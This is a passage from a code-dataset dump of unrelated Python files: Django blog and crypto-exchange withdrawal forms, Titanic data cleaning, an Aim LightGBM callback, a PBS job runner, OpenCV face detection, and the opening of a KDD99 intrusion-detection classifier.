CHOICE_TAG\nfrom webapp.models import Article, Tag\n\nfrom django.views.generic import View, RedirectView, ListView, DetailView, CreateView, UpdateView\n\n\nclass IndexView(ListView):\n template_name = 'index.html'\n model = Article\n context_object_name = 'articles'\n ordering = ['-created_at']\n paginate_by = 6\n paginate_orphans = 1\n form = SearchForm\n# - по умолчанию имеет это значение, означает , что страницы бдут передаваться под данным названием\n# model, queryset и метод get queryset - взимоисключащие параметры. Можно использовать любой из них , вместо остальных\n# allow_empty - параметр, определяющий, будет ли выводиться страница с пустым списком. По умолчанию True , т.е. будет.\n# Если переопределить False, то вместо вывода пустой страницы будет выходить ошибка 404\n\n # def get(self, request, *args, **kwargs):\n # self.form = self.get_search_form()\n # self.search_value = self.get_search_value()\n # return super().get(request, *args, **kwargs)\n #\n # def get_queryset(self):\n # queryset = super().get_queryset()\n # if self.search_value:\n # if self.search_value['search_field'] == SEARCH_CHOICE_DEFAULT:\n # queryset = queryset.filter(\n # Q(title__icontains=self.search_value['search'])\n # | Q(author__icontains=self.search_value['search'])\n # ).distinct()\n # elif self.search_value['search_field'] == SEARCH_CHOICE_TAG:\n # queryset = queryset.filter(\n # Q(tags__name__iexact=self.search_value['search'])\n # )\n # return queryset\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(object_list=object_list, **kwargs)\n context['form'] = self.form\n # if self.search_value:\n # context['query'] = urlencode({'search': self.search_value})\n return context\n\n # def get_search_form(self):\n # return SearchForm(data=self.request.GET)\n #\n # def get_search_value(self):\n # if self.form.is_valid():\n # search = {'search': self.form.cleaned_data['search'], 'search_field': self.form.cleaned_data['search_field'] }\n # return search\n # return None\n\n\nclass IndexRedirectView(RedirectView):\n pattern_name = 'index'\n\n\n\nclass ArticleView(DetailView):\n model = Article\n context_object_name = 'article'\n template_name = 'article/article_view.html'\n pk_url_kwarg = 'pk'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n article = self.object\n comments = article.comments.filter(article_id=article.pk).order_by('-created_at')\n tags = article.tags.all()\n context['form'] = ArticleCommentForm()\n paginator = Paginator(comments, 3, 0)\n page_number = self.request.GET.get('page', 1)\n page = paginator.get_page(page_number)\n context['paginator'] = paginator\n context['page_obj'] = page\n context['comments'] = page.object_list\n context['is_paginated'] = page.has_other_pages()\n context['tags'] = tags\n return context\n\n\nclass ArticleCreateView(LoginRequiredMixin, CreateView):\n form_class = ArticleForm\n model = Article\n template_name = 'article/article_create.html'\n\n\n def get_success_url(self):\n return reverse('article_view', kwargs= {'pk': self.object.pk})\n\n def get_tags(self, form):\n tags = form.cleaned_data['tags'].split(',')\n tag_queryset = []\n for tag in tags:\n if tag.strip() == \"\":\n tags.remove(tag)\n Tag.objects.get_or_create(name=tag)\n tag_queryset.append(Tag.objects.get(name=tag))\n return tag_queryset\n\n def form_valid(self, form):\n tags = self.get_tags(form)\n form.cleaned_data.pop('tags')\n self.object = form.save()\n self.object.tags.add(*tags)\n self.object.save()\n return super().form_valid(form)\n\n\nclass ArtUpdateView(LoginRequiredMixin, UpdateView):\n form_class = ArticleForm\n model = Article\n template_name = 'article/article_update_view.html'\n\n def get_success_url(self):\n return reverse('article_view', kwargs= {'pk': self.object.pk})\n\n def get_tags(self, form):\n tags = form.cleaned_data['tags'].split(',')\n tag_queryset = []\n for tag in tags:\n if tag.strip() == \"\":\n tags.remove(tag)\n Tag.objects.get_or_create(name=tag)\n tag_queryset.append(Tag.objects.get(name=tag))\n return tag_queryset\n\n def get_tag_list(self):\n name_list=[]\n tag_list = Tag.objects.filter(articles__title=self.object.title).values('name')\n for name in tag_list:\n name_list.append(name.get('name'))\n tags = ','.join(name_list)\n return tags\n\n def form_valid(self, form):\n tags = self.get_tags(form)\n form.cleaned_data.pop('tags')\n self.object = form.save()\n self.object.tags.clear()\n self.object.tags.add(*tags)\n self.object.save()\n return super().form_valid(form)\n\n def get_context_data(self, **kwargs):\n if 'form' not in kwargs:\n kwargs['form'] = self.get_form()\n tags=self.get_tag_list()\n if tags:\n kwargs['form'] = self.form_class(data={'title': self.object.title, 'text': self.object.text,\n 'author': self.object.author, 'tags': tags})\n else:\n kwargs['form'] = self.form_class(data={'title': self.object.title, 'text': self.object.text,\n 'author': self.object.author, 'tags': None })\n return super().get_context_data(**kwargs)\n\n\nclass ArtDeleteView(LoginRequiredMixin, View):\n def get(self, request, *args, **kwargs):\n pk = kwargs.get('pk')\n article = get_object_or_404(Article, pk=pk)\n form = ArticleForm(data={'title': article.title, 'text': article.text, 'author': article.author})\n return render(request, 'article/delete_view.html', context={'form': form, 'article': article})\n\n def post(self, request, *args, **kwargs):\n pk = kwargs.get('pk')\n article = get_object_or_404(Article, pk=pk)\n article.delete()\n return redirect('index')","sub_path":"to_do_list_src/webapp/views/articles_views.py","file_name":"articles_views.py","file_ext":"py","file_size_in_byte":7080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"613245015","text":"import pandas as pd\nimport os\n\n\npath = os.path.dirname(os.path.abspath(__file__))\n\n\ndef compare():\n docs = pd.read_csv(path+'/Data/test_docs.csv')\n querys = pd.read_csv(path+'/Data/test_querys.csv')\n\n submit1 = pd.read_csv(path+'/Data/submit-fuse.csv')\n submit2 = pd.read_csv(path+'/Data/submit13-jieba-0.826-0.896.csv')\n submit_fuse = submit1.copy()\n\n query_ids = submit1['query_id'].unique()\n\n for n, query_id in enumerate(query_ids):\n print(n, querys[querys['query_id']==query_id]['query'].values[0])\n docs1 = submit1[submit1['query_id']==query_id]['doc_id'].tolist()\n docs2 = submit2[submit2['query_id']==query_id]['doc_id'].tolist()\n # docs1_diff = []\n # docs2_diff = []\n # for i in range(20):\n # print(docs1[i], docs2[i])\n for doc in docs1:\n if doc not in docs2:\n # docs1_diff.append(doc)\n print('submit1:', doc, docs[docs['doc_id']==doc]['doc_title'])\n for doc in docs2:\n if doc not in docs1:\n # docs2_diff.append(doc)\n print('submit2:', doc, docs[docs['doc_id']==doc]['doc_title'])\n choice = input()\n if choice == '2':\n submit_fuse[submit_fuse['query_id']==query_id] = submit2[submit2['query_id']==query_id]\n \n submit_fuse.to_csv(path+'/Data/submit-fuse.csv', index=False)\n\n\ndef view():\n docs = pd.read_csv(path+'/Data/test_docs.csv')\n querys = pd.read_csv(path+'/Data/test_querys.csv')\n submit1 = pd.read_csv(path+'/Data/submit10-jieba-0.825-0.889.csv')\n\n query_ids = submit1['query_id'].unique()\n\n for n, query_id in enumerate(query_ids):\n print(n, querys[querys['query_id']==query_id]['query'].values[0])\n docs1 = submit1[submit1['query_id']==query_id]['doc_id'].tolist()\n for doc in docs1:\n print(doc, docs[docs['doc_id']==doc]['doc_title'].values)\n input()\n\n\nif __name__ == \"__main__\":\n # view()\n compare()\n","sub_path":"Lab1-Search-Engine/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"570965444","text":"def local_month_format(date):\n month_translation = {\n '1' : 'Enero',\n '2' : 'Febrero',\n '3' : 'Marzo',\n '4' : 'Abril',\n '5' : 'Mayo',\n '6' : 'Junio',\n '7' : 'Julio',\n '8' : 'Agosto',\n '9' : 'Septiembre',\n '10' : 'Octubre',\n '11' : 'Noviembre',\n '12' : 'Diciembre',\n }\n return month_translation.get(date.month.__str__())\n","sub_path":"tramitesvivi/lib/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"90423221","text":"import csv\nimport numpy as np\n\ndef load_data(filename):\n \"\"\"\n Reads data in from `filename` and returns as an array of lines split by ','\n \"\"\"\n f = open(filename, 'r')\n\n filelines = f.readlines()\n lines = []\n\n for row in csv.reader(filelines, delimiter=\",\"):\n lines.append(row)\n\n lines = lines[1:] # Skip the header row\n return np.array(lines)\n\n\ndef process_name(name, gender):\n name = name.lower()\n\n name = name.split(\",\")\n last_name = name[0].strip()\n\n name = name[1].split(\".\")\n title = name[0].strip()\n first_middle_name = name[1].strip()\n\n if USE_SIMPLE_TITLES:\n # all titles are mapped to be in {mrs, mr, master, miss}\n title_val = basic_titles(title, gender)\n # print(title, first_middle_name, last_name, title_val)\n return title_val\n else:\n # all unique titles are left intact\n title_val = all_titles(title)\n # print(title, first_middle_name, last_name, title_val)\n return title_val\n\ndef basic_titles(title, gender):\n if title in ['mr', 'don', 'major', 'capt', 'jonkheer', 'rev', 'col', 'sir']:\n return 0\n elif title in ['mrs', 'the countess', 'mme', 'lady', 'dona']:\n return 1\n elif title in ['master']:\n return 2\n elif title in ['miss', 'mlle', 'ms']:\n return 3\n elif title == 'dr':\n if gender == 'female':\n return 1\n else:\n return 0\n else:\n print(\"Error: unexpected value for title: \" + title)\n exit(1)\n\ndef all_titles(title):\n titles_list = ['mr', 'don', 'major', 'capt', 'jonkheer', 'rev', 'col',\n 'sir', 'mrs', 'the countess', 'mme', 'lady', 'dona', 'master', 'miss', 'mlle',\n 'ms', 'dr']\n return titles_list.index(title)\n\n\ndef process_embarked(embarked):\n if embarked == \"C\":\n return 1\n elif embarked == \"Q\":\n return 2\n elif embarked == \"S\":\n return 3\n else:\n return 0\n # print(\"Error: unexpected value for embarked: \" + embarked)\n # exit(1)\n\n\ndef process_age(age):\n if age == \"\":\n return 0\n else:\n return float(age)\n\n\ndef clean_train_data(data):\n \"\"\"\n Cleans and converts the fields in the Titanic data set.\n\n 2,1,1,\"Cumings, Mrs. John Bradley (Florence Briggs Thayer)\",female,38,1,0,PC 17599,71.2833,C85,C\n\n 0 passengerid\n 1 survived: 0: No, 1: Yes\n 2 0 pclass:\n 3 1 name: string --> int\n 4 2 sex: string --> int\n 5 3 age:\n 6 4 sibsp:\n 7 5 parch:\n 8 ticket: omit for now, all values set to 0\n 9 fare: omit for now, all values set to 0\n 10 cabin: omit for now, all values set to 0\n 11 6 embarked: string --> int: {\"C\" : 0, \"Q\" : 1, \"S\" : 2}\n \"\"\"\n\n # Number of features: 7 features plus x_0 = 1.0 so that |theta| == |x|\n n = 8\n m = len(data) # Number of examples\n\n\n x = np.zeros(shape=(m, n))\n y = np.zeros(shape=(m, 1))\n\n for i in range(m):\n\n y[i] = data[i][1] # survived\n\n x[i][0] = 1.0\n x[i][1] = data[i][2] # pclass\n x[i][2] = process_name(data[i][3], data[i][4]) # name, gender\n x[i][3] = 1 if \"female\" in data[i][4] else 0 # sex\n x[i][4] = process_age(data[i][5]) # age\n x[i][5] = data[i][6] # sibsp\n x[i][6] = data[i][7] # parch\n x[i][7] = process_embarked(data[i][11]) # embarked\n\n # print i\n # print(\"orig\", data[i])\n # print(\"new\", x[i])\n # print(\"\\n\")\n\n return x, y\n\n\ndef clean_test_data(data):\n \"\"\"\n Cleans and converts the fields in the Titanic data set.\n\n 906,1,\"Chaffee, Mrs. Herbert Fuller (Carrie Constance Toogood)\",female,47,1,0,W.E.P. 5734,61.175,E31,S\n\n\n 0 passengerid\n 1 0 pclass:\n 2 1 name: string --> int\n 3 2 sex: string --> int\n 4 3 age:\n 5 4 sibsp:\n 6 5 parch:\n 7 ticket: omit for now, all values set to 0\n 8 fare: omit for now, all values set to 0\n 9 cabin: omit for now, all values set to 0\n 10 6 embarked: string --> int: {\"C\" : 0, \"Q\" : 1, \"S\" : 2}\n \"\"\"\n\n # Number of features: 7 features plus x_0 = 1.0 so that |theta| == |x|\n n = 8\n m = len(data) # Number of examples\n\n\n x = np.zeros(shape=(m, n))\n\n for i in range(m):\n x[i][0] = 1.0\n x[i][1] = data[i][1] # pclass\n x[i][2] = process_name(data[i][2], data[i][3]) # name, gender\n x[i][3] = 1 if \"female\" in data[i][3] else 0 # sex\n x[i][4] = process_age(data[i][4]) # age\n x[i][5] = data[i][5] # sibsp\n x[i][6] = data[i][6] # parch\n x[i][7] = process_embarked(data[i][10]) # embarked\n\n # print i\n # print(\"orig\", data[i])\n # print(\"new\", x[i])\n # print(\"\\n\")\n\n return x\n\ndef save_predictions(filename, predictions):\n \"\"\"\n Saves the predictions for the titanic test examples\n \"\"\"\n\n\n output = \"PassengerId,Survived\"\n id = 892 # ID of the first test example\n for passenger in predictions:\n output += \"\\n\" + str(id) + \",\" + str(passenger)\n id += 1\n\n f = open(filename, 'w')\n f.write(output)\n f.close()\n\nUSE_SIMPLE_TITLES = True\nprint(\"USE_SIMPLE_TITLES\", USE_SIMPLE_TITLES)\n","sub_path":"titanic/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"252155969","text":"from typing import Optional\n\nfrom aim import Run\nfrom aim._ext.system_info import DEFAULT_SYSTEM_TRACKING_INT\n\ntry:\n from lightgbm.callback import CallbackEnv\nexcept ImportError:\n raise RuntimeError(\n 'This contrib module requires Lightgbm to be installed. '\n 'Please install it with command: \\n pip install lightgbm'\n )\n\n\nclass AimCallback:\n \"\"\"\n AimCallback callback class.\n\n Args:\n repo (:obj:`str`, optional): Aim repository path or Repo object to which Run object is bound.\n If skipped, default Repo is used.\n experiment_name (:obj:`str`, optional): Sets Run's `experiment` property. 'default' if not specified.\n Can be used later to query runs/sequences.\n system_tracking_interval (:obj:`int`, optional): Sets the tracking interval in seconds for system usage\n metrics (CPU, Memory, etc.). Set to `None` to disable system metrics tracking.\n log_system_params (:obj:`bool`, optional): Enable/Disable logging of system params such as installed packages,\n git info, environment variables, etc.\n capture_terminal_logs (:obj:`bool`, optional): Enable/Disable terminal stdout logging.\n \"\"\"\n\n def __init__(\n self,\n repo: Optional[str] = None,\n experiment_name: Optional[str] = None,\n system_tracking_interval: Optional[int] = DEFAULT_SYSTEM_TRACKING_INT,\n log_system_params: Optional[bool] = True,\n capture_terminal_logs: Optional[bool] = True,\n ):\n self._repo_path = repo\n self._experiment = experiment_name\n self._system_tracking_interval = system_tracking_interval\n self._log_system_params = log_system_params\n self._capture_terminal_logs = capture_terminal_logs\n self._run = None\n self._run_hash = None\n\n # callback parameters\n self.order = 25\n self.before_iteration = False\n\n @property\n def experiment(self) -> Run:\n if not self._run:\n self.setup()\n return self._run\n\n def setup(self):\n if self._run:\n return\n if self._run_hash:\n self._run = Run(\n self._run_hash,\n repo=self._repo_path,\n system_tracking_interval=self._system_tracking_interval,\n capture_terminal_logs=self._capture_terminal_logs,\n )\n else:\n self._run = Run(\n repo=self._repo_path,\n experiment=self._experiment,\n system_tracking_interval=self._system_tracking_interval,\n log_system_params=self._log_system_params,\n capture_terminal_logs=self._capture_terminal_logs,\n )\n self._run_hash = self._run.hash\n\n def __call__(self, env: CallbackEnv):\n if env.iteration == env.begin_iteration:\n self.setup()\n\n self.before_tracking(env=env)\n\n for item in env.evaluation_result_list:\n if len(item) == 4:\n data_name, eval_name, result, _ = item\n self._run.track(\n result, name=eval_name, context={'data_name': data_name}\n )\n else:\n data_name, eval_name = item[1].split()\n res_mean = item[2]\n res_stdv = item[4]\n self._run.track(\n res_mean, name=f'{eval_name}-mean', context={'data_name': data_name}\n )\n self._run.track(\n res_stdv, name=f'{eval_name}-stdv', context={'data_name': data_name}\n )\n\n self.after_tracking(env=env)\n\n def close(self):\n if self._run:\n self._run.close()\n del self._run\n self._run = None\n\n def __del__(self):\n self.close()\n","sub_path":"pkgs/aimstack/ml/adapters/lightgbm.py","file_name":"lightgbm.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"386788240","text":"from __future__ import print_function, division\nfrom sys import stdin, stdout, stderr\nfrom os import environ as ENV\nimport itertools as itl\nimport subprocess as spc\nfrom threading import Thread\nfrom queue import Queue\nfrom random import shuffle\n\n\ndef worker(node, jobq, outq):\n while True:\n cmd = jobq.get()\n if cmd is None:\n break\n cmd = \"pbsdsh -n {} -- bash -l -c\".format(node).split() + [cmd]\n try:\n out = spc.check_output(cmd, stderr=spc.STDOUT)\n except spc.CalledProcessError as exc:\n outq.put(exc.output)\n jobq.task_done()\n break\n outq.put(out)\n jobq.task_done()\n\n\ndef outputter(outq):\n while True:\n out = outq.get()\n if out is None:\n break\n if isinstance(out, bytes):\n out = out.decode(\"utf8\")\n print(out, end=\"\")\n outq.task_done()\n\n\ndef parallel(commands, verbose=True, ncpus=None, threadseach=1):\n if ncpus is None:\n ncpus = int(ENV.get('PBS_NCPUS', 1))\n\n list(commands)\n jobq = Queue()\n outq = Queue()\n nodes = []\n # Add jobs\n for cmd in commands:\n jobq.put(cmd)\n\n # Make workers, add one poison pill per worker\n for i in range(1, ncpus+1, threadseach):\n t = Thread(target=worker, args=(i, jobq, outq))\n t.start()\n nodes.append(t)\n jobq.put(None)\n outt = Thread(target=outputter, args=(outq,))\n outt.start()\n\n # Join threads\n for t in nodes:\n t.join()\n outq.put(None)\n outt.join()\n","sub_path":"pbshax/parallel.py","file_name":"parallel.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"584667496","text":"# -*- coding: utf-8 -*-\nimport cv2\nimport numpy as np\n \nif __name__ == '__main__':\n \n # カメラ映像の取得\n cap = cv2.VideoCapture(0)\n # 顔探索用の機械学習ファイルを取得\n cascade = cv2.CascadeClassifier(\"haarcascade_frontalface_alt.xml\")\n while(1):\n ret, im = cap.read()\n gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n gray = cv2.resize(gray,(gray.shape[1]/2,gray.shape[0]/2))\n # 顔探索(画像,縮小スケール,最低矩形数)\n face = cascade.detectMultiScale(gray, 1.1, 3)\n # 顔検出した部分を長方形で囲う\n for (x, y, w, h) in face:\n cv2.rectangle(gray, (x, y),(x+w, y+h),255, 3)\n \n # 画像表示\n cv2.imshow(\"Show Image\",gray)\n # キーが押されたらループから抜ける\n if cv2.waitKey(10) > 0:\n cap.release()\n cv2.destroyAllWindows()\n break\n","sub_path":"Human_face/grayscale.py","file_name":"grayscale.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"419682052","text":"def newtonMethod(x):\n\n #y=x**5-7*x**3-x**2-3\n y=x-((x**5-7*x**3-x**2-3)/(5*x**4-21*x**2-2*x))\n return y\n\ndef someFunction(x):\n y=x**5-7*x**3-x**2-3\n return y\n\nnextGuess=int(input(\"Choose an initial value for x: \"))\nthreshold=0.00008\nprint(\"Next guess is: \"+str(nextGuess))\nd=10.105\nwhile abs(d)>threshold:\n d=someFunction(nextGuess)\n print(\"d= \"+str(d))\n if abs(d)>threshold:\n nextGuess=newtonMethod(nextGuess)\n print(\"Next guess is: \" + str(nextGuess))\n\n\nprint(\"Final guess is: \"+str(nextGuess))\n","sub_path":"newtonMethod.py","file_name":"newtonMethod.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"250455804","text":"# -*- coding: utf-8 -*-\nfrom django.core.exceptions import ValidationError\nfrom django import forms\nfrom captcha.fields import CaptchaField\nfrom django.contrib.auth.models import User\nfrom main.models import Currency, Accounts, HoldsWithdraw, TradePairs, PinsImages\nfrom decimal import Decimal, getcontext\nfrom datetime import datetime\nimport math\nfrom django.utils.translation import ugettext as _\nfrom main.http_common import generate_key_from\nfrom django.utils.html import mark_safe\nimport crypton.settings as settings\nimport json\nimport urllib2\nclass PinWidget(forms.widgets.Textarea):\n \n def render(self, name, value, attrs=None):\n # Build a dictionary linking purchase requests\n # with their corresponding assets\n \n # Start with the textarea; and wrap it in a script\n # containing the logic to populate it, and the\n # button to trigger the script.\n html = \"\"\"\n
\n \n \"\"\";\n # Since we are using string concatenation, we need to\n # mark it as safe in order for it to be treated as\n # html code.\n return mark_safe(html)\n\n\nclass PinField(forms.Field):\n widget = PinWidget\n\n default_error_messages = {\n 'not_an_a': _(u\"Неверный PIN\")\n }\n\n def to_python(self, value):\n return value\n\n\n def __init__(self, *args, **kwargs):\n pin_url_check = kwargs.pop('pin_url_check', None) \n signature = kwargs.pop('signature', None) \n \n\n super(PinField, self).__init__(*args, **kwargs)\n \n if pin_url_check is not None:\n self.pin_url_check = pin_url_check\n else:\n raise forms.ValidationError(\"required argument pin_url_check\")\n \n \n if signature is not None:\n self.signature = signature\n else:\n raise forms.ValidationError(\"required argument signature\")\n\n\n def validate(self, value): \n #if value is None :\n #raise ValidationError(self.default_error_messages['not_an_a'])\n url = self.pin_url_check + str(value)\n RawData = None\n try :\n RawData = urllib2.urlopen(url) \n data = json.load(RawData)\n if data[\"status\"]:\n self.value = data[\"result\"]\n return True\n except :\n raise ValidationError(self.default_error_messages['not_an_a'])\n\n \n\ndef get_hours_delta(Delta):\n td = Delta\n Seconds = (td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) / 10**6\n return math.floor(Seconds/3600)\n\n\nclass MyFinanceForms(forms.Form):\n\n \n \n def check_holds(self): \n diff = 0\n #try :\n Holds = HoldsWithdraw.objects.filter(user = self.__user).order_by('-id')[0] \n \n before = Holds.pub_date \n after = datetime.now()\n Delta = after - before\n hours = get_hours_delta(Delta)\n check = False\n if hours< Holds.hours: \n check = True\n diff = Holds.hours - hours\n else :\n check = False\n \n if check :\n raise forms.ValidationError(_(u\"Установлен холд на вывод средств {hours} часов\").format(hours=str(diff)) )\n \n def check_funds(self): \n check = False \n try:\n amnt = Decimal( self.cleaned_data.get('amnt') ) \n except :\n return False\n \n \n ## we must got mail\n Account = Accounts.objects.get(currency = self.currency_instance, user = self.__user) \n \n if Account.balance < amnt: \n check = True\n else :\n self.__balance = Account.balance\n check = False\n \n if check :\n raise forms.ValidationError(_(u\"Недостаточно средств\"))\n \n \n \n \n \n def check_funds_crypto(self):\n \n check = False \n try:\n amnt = Decimal( self.cleaned_data.get('amnt') ) \n except :\n return False\n \n \n number_dec = str(amnt-int(amnt))[2:]\n if len(number_dec)>8:\n check = True\n \n if check :\n raise forms.ValidationError(_(u\"Операции с криптовалютами возможны только с суммами до 8-ого знака после запятой\")) \n \n TradePair = TradePairs.objects.get(currency_on = self.currency_instance,\n currency_from = self.currency_instance ) \n self.comission = TradePair.min_trade_base\n \n if amnt < (self.comission*2):\n raise forms.ValidationError(_(u\"Недостаточно средств для совершения транзакции,\\n\\\nминимальная сумма должна быть больше {comission} \").format( comission= str(self.comission*2) ) ) \n\n \n \n \n def check_funds_ussual(self):\n check = False \n try:\n amnt = Decimal( self.cleaned_data.get('amnt') ) \n except :\n return False\n \n number_dec = str(amnt-int(amnt))[2:]\n if len(number_dec)>2:\n check = True\n \n if check :\n raise forms.ValidationError(_(u\"Операции возможны только с суммами до 2-ого знака после запятой\")) \n \n def clean(self):\n cleaned_data = super(MyFinanceForms, self).clean()\n Title = self.cleaned_data.get('currency', None) \n check = False\n try :\n self.currency_instance = Currency.objects.get(title = Title)\n check = False \n except:\n check = True\n \n if check :\n raise forms.ValidationError(_(u\"Не удалось определить валюту\")) \n \n return cleaned_data\n \n\n \n def check_currency_uah(self):\n \n check = False \n try : \n Title = self.cleaned_data.get('currency') \n if Title != \"UAH\":\n check = True\n else :\n check = False\n except :\n check = True\n\n if check :\n raise forms.ValidationError(_(u\" Поддерживаем переводы в только гривне\")) \n \n def __init__(self, *args, **kwargs):\n self.__user = kwargs.pop('user', None) \n \n super(MyFinanceForms, self).__init__(*args, **kwargs)\n \n for k, field in self.fields.items():\n if 'required' in field.error_messages:\n field.error_messages['required'] = _(u\" '{field_name}' обязательное поле для заполнения\").format(field_name=field.label)\n field.widget.attrs['class'] = 'col-sm-5 form-control'\n\n\nclass CardP2PTransfersForm(MyFinanceForms):\n \n CardNumber = forms.CharField(max_length=100, required = True, label = _(u\"Номер карты\"),\n widget = forms.TextInput(attrs={'placeholder':_(u'Номер карты')} ) )\n \n CardName = forms.CharField( max_length=100, required = True, label = _(u\"Имя и фамилия держателя карты\"),\n widget = forms.TextInput(attrs={'placeholder':_(u\"Имя и фамилия держателя карты\") }) ) \n amnt = forms.DecimalField(required = True,\n widget = forms.TextInput(attrs={'placeholder':_(u'сумма')}),\n label = _(u\"Сумма (мин 10 ГРН) \"), min_value = 10)\n \n \n \n currency = forms.CharField( required = True, \n widget = forms.HiddenInput()\n )\n \n \n def clean(self):\n self.cleaned_data = super(CardP2PTransfersForm, self).clean()\n self.check_currency_uah()\n self.check_funds()\n self.check_holds()\n return self.cleaned_data\n \n\n\n\n\nclass BankTransferForm(MyFinanceForms):\n mfo = forms.CharField(max_length=100, required = True, label = _(u\"МФО Банка\"),\n widget = forms.TextInput(attrs={'placeholder':_(u'МФО')} ) )\n okpo = forms.CharField(required = True, label = _(u\"ОКПО\"),\n widget = forms.TextInput(attrs={'placeholder':_(u'ОКПО')} ) )\n account = forms.CharField(required = True, widget = forms.TextInput(attrs={'placeholder':_(u'номер счета')}),\n label = _(u\"Номер Счета\"))\n amnt = forms.DecimalField(required = True,\n widget = forms.TextInput(attrs={'placeholder':_(u'сумма')}),\n label = _(u\"Сумма (мин 500 ГРН)\"), min_value = 500)\n currency = forms.CharField( required = True, \n widget = forms.TextInput(attrs={'placeholder': _(u'валюта')}),\n label = _(u\"Валюта\"))\n description = forms.CharField(required = True,\n label = _(u\"Получатель\"))\n \n \n \n error_css_class = 'error'\n required_css_class = 'required'\n \n def clean(self):\n self.cleaned_data = super(BankTransferForm, self).clean()\n self.check_currency_uah()\n self.check_funds_ussual()\n self.check_funds() \n self.check_holds()\n return self.cleaned_data\n\n \n\nclass CurrencyTransferForm(MyFinanceForms):\n wallet = forms.CharField(max_length=120, label = _(u\"Кошелек\"))\n amnt = forms.DecimalField(required = True, widget = forms.TextInput(attrs={'placeholder':_(u'сумма')}),\n label = _(u\"Сумма\"),\n min_value = 0.001)\n currency = forms.CharField(max_length=10, widget = forms.HiddenInput() )\n\n error_css_class = 'error'\n required_css_class = 'required'\n \n def clean(self):\n \n \n self.cleaned_data = super(CurrencyTransferForm, self).clean() \n self.check_funds() \n self.check_holds()\n self.check_funds_crypto()\n return self.cleaned_data\n\n\nclass PinForm(forms.Form):\n\n def __init__(self, *args, **kwargs):\n self.__user = kwargs.pop('user', None) \n super(PinForm, self).__init__(*args, **kwargs)\n \n for k, field in self.fields.items():\n if 'required' in field.error_messages:\n field.error_messages['required'] = _(u\" '{field}' обязательное поле для заполнения\").format(field=field.label)\n field.widget.attrs['class'] = 'col-sm-5 form-control'\n \n def check_pin(self):\n CheckPin = None \n try:\n CheckPin = self.fields[\"pin\"].value\n except :\n raise forms.ValidationError(_(u\"Вы неправильно ввели PIN-код \"))\n \n Pin = None\n try:\n \n Pin = PinsImages.objects.get( user = self.__user ) \n except PinsImages.DoesNotExist:\n raise forms.ValidationError(_(u\"Обратитесь в службу поддержки, что бы получить pin-код для вывода \")) \n \n CheckValue = generate_key_from(CheckPin, settings.PIN_SALT)\n if Pin.hash_value != CheckValue :\n raise forms.ValidationError(_(u\"Вы неправильно ввели PIN-код \") ) \n \n key_type = forms.CharField(max_length=100, label = u\"Kеу\")\n \n key = forms.CharField(max_length=100, label = u\"Kеу\")\n\n pin = PinField(\n label = u\"PIN\", required = True,\n pin_url_check = settings.PIN_URL_CHECK,\n signature = settings.PIN_SIGNATURE\n )\n def clean(self):\n self.cleaned_data = super(PinForm, self).clean()\n \n self.check_pin()\n \n return self.cleaned_data\n \n \nclass LiqPayTransferForm(MyFinanceForms):\n \n phone = forms.CharField(max_length=100, label = _(u\"Телефон акаунта в системе LiqPay\"))\n amnt = forms.DecimalField(required = True, widget = forms.TextInput(attrs={'placeholder':_(u'сумма')}),\n label = _(u\"Сумма (мин 100 ГРН)\"), min_value = 100)\n currency = forms.CharField(required = True, widget = forms.TextInput(attrs={'placeholder':_(u'валюта')}),\n label = _(u\"Валюта\")\n )\n \n description = forms.CharField(required = True,\n label = _(u\"получатель\"))\n error_css_class = 'error'\n required_css_class = 'required'\n \n def clean(self):\n self.cleaned_data = super(LiqPayTransferForm, self).clean()\n self.check_currency_uah()\n self.check_funds_ussual()\n self.check_funds()\n self.check_holds()\n return self.cleaned_data\n \n ","sub_path":"main/finance_forms.py","file_name":"finance_forms.py","file_ext":"py","file_size_in_byte":14090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"420239753","text":"import httpx\n\nproxy = '127.0.0.1:7890'\nproxies = {\n 'http://': 'http://' + proxy,\n 'https://': 'http://' + proxy,\n}\n\nwith httpx.Client(proxies=proxies) as client:\n response = client.get('https://httpbin.org/get')\n print(response.text)\n","sub_path":"httpx_http.py","file_name":"httpx_http.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"350901363","text":"# encoding:utf-8\r\n\r\nfrom numpy import *\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.feature_extraction import DictVectorizer\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.linear_model import LogisticRegression\r\n# from sklearn.ensemble import GradientBoostingClassifier\r\n\r\n\r\ntrain_file = pd.read_csv(r'data\\train_data_10_percent_corrected_multi_classify.csv') # 读取已处理的训练集文件\r\ncol_num = train_file.shape[1] # 训练集文件的列数目\r\ntrain_file.columns = [i+1 for i in range(col_num)] # 命名训练集文件的每列名称\r\nprint(\"训练集维度:\", train_file.shape)\r\n\r\n# x = kdd99[[i+1 for i in 